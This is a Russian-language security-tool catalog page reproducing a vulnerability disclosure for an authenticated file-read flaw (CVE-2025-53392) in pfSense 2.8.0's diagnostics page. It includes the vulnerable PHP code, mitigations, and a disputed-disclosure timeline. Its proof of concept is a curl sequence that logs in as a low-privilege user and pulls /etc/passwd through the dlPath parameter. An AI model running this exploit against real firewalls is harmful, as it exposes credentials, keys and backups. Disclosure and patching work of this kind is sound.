Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pfsense-security-research — Авторизованное произвольное чтение файлов в pfSense 2.8.0 через Diagnostics Web Interface (CVE-2025-53392) | Kitploit
Инструменты/GitHubGitHub/skraft9/pfsense-security-research
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

Авторизованное произвольное чтение файлов в pfSense 2.8.0 через Diagnostics Web Interface (CVE-2025-53392)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
147 месяцев назадЕщё не проверено

Аутентифицированное произвольное чтение файлов в pfSense 2.8.0 через веб-интерфейс диагностики

CVE ID: CVE-2025-53392

Дата: 2025-06-27

Автор: Seth Kraft

Сайт разработчика: https://www.netgate.com/

Журнал изменений разработчика: https://docs.netgate.com/pfsense/en/latest/releases/

Ссылка на ПО: https://www.pfsense.org/download/

Версия: pfSense CE 2.8.0

CWE ID: CWE-36 (Переход по абсолютному пути)

Базовая оценка CVSS: 6.5 (Средний)

Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Тип: Аутентифицированное произвольное чтение файлов / раскрытие локальных файлов


Авторизация

Только для авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.


Краткое описание

pfSense CE 2.8.0 содержит уязвимость раскрытия локальных файлов на странице диагностики diag_command.php, которая позволяет аутентифицированным пользователям загружать произвольные файлы из основной файловой системы.

В этой функции отсутствует санитизация путей, ограничение по каталогам или контроль доступа, помимо выдачи разрешений.


Подробности

Уязвимый код находится в файле src/usr/local/www/diag_command.php:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

К неконтролируемому пользователем параметру dlPath не применяются никакие проверки безопасности или меры санитизации.

Любой путь к файлу, который доступен для чтения процессу PHP, будет возвращён пользователю.


Подтверждение концепции

Создайте группу low-priv и назначьте единственное привилегию (WebCfg - Diagnostics: Command) Скриншот 2025-06-27 133201

Я признаю наличие предупреждения безопасности для привилегии WebCfg - Diagnostics: Command, но одни лишь предупреждения не заменяют надёжный контроль доступа.

Фраза «Дать доступ к странице команд диагностики» неоднозначна и преуменьшает риск: она предоставляет неограниченное выполнение команд на уровне root, а не просто диагностический доступ.

Метки привилегий в веб-интерфейсе должны точно отражать объём и серьёзность разрешаемых действий, особенно когда они открывают полный административный контроль.

Назначьте группу low-priv пользователю dev Скриншот 2025-06-27 133218

Этот пример демонстрирует, что пользователь с единственным разрешением WebCfg - Diagnostics: Command может извлечь /etc/passwd, злоупотребляя несанитизированным параметром dlPath.

root@kitploit:~
# 1. Starting session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

Демонстрация

pfSense-аутентифицированное-раскрытие-файлов-poc


Влияние

Любой пользователь pfSense, которому назначена привилегия WebCfg - Diagnostics: Command, может:

  • Читать чувствительные локальные системные файлы
  • Извлекать резервные копии, учётные данные и ключи
  • Получать доступ к файлам далеко за пределами своих предполагаемых разрешений

Это нарушает принцип наименьших привилегий и разрушает логические границы привилегий.


Предлагаемое смягчение

  1. Ограничить dlPath безопасной базовой директорией (например, /tmp) с помощью realpath() и проверки префикса
  2. Отбрасывать или блокировать пути с .. или абсолютными путями
  3. Разрешать загрузку только файлов из белого списка или временной директории артефактов

График раскрытия

  • 26 июня 2025: Уязвимость сообщена Netgate
  • 27 июня 2025: Netgate ответила, отклонив проблему как ожидаемое поведение
  • 27 июня 2025: Исследователь ответил с техническим опровержением, вендор повторил отклонение
  • 27 июня 2025: Ввиду окончательного отклонения вендором исследователь инициировал публичное раскрытие, запросив CVE у MITRE
  • 28 июня 2025: MITRE присвоил CVE-2025-53392 с пометкой «vendor disputed»

Ответ Netgate

Хотя вендор утверждает, что доступ к этой странице равнозначен root, это смешивает права доступа на уровне веб-интерфейса с неограниченным доступом к бэкенду.

Привилегии должны технически обеспечиваться (а не предполагаться), а предупреждения в интерфейсе не заменяют безопасную архитектуру.


Оспаривая утверждение вендора о том, что эта функциональность «хорошо документирована»: я не нашёл ни одного упоминания в документации pfSense по привилегиям пользователей, которое указывало бы, что разрешение WebCfg - Diagnostics: Command равнозначно доступу уровня root. Скриншот 2025-06-28 235613


Вероятно, вендор имел в виду страницу команд диагностики, содержащую общее предупреждение о неправильном использовании.

Однако документация явно не связывает эту функциональность с привилегией WebCfg - Diagnostics: Command и не разъясняет, что она предоставляет доступ уровня root.


Ожидания безопасности для диагностических интерфейсов

Модуль диагностики в веб-интерфейсе брандмауэра должен содержать надлежащие меры защиты, предотвращающие злоупотребление базовой операционной системой.

  • Диагностические команды должны быть функционально ограничены ping, traceroute, просмотром логов и т.п.
  • Команды должны выполняться в ограниченной оболочке или chroot.
  • Доступ к файлам должен быть явно ограничен безопасными директориями (/tmp, /var/log).
  • Разрешения должны быть детализированными и чёткими по объёму.

Отказ от ответственности

Эта работа выполнена вне моей основной занятости и отражает мои личные усилия в области исследований кибербезопасности.

Скачать инструмент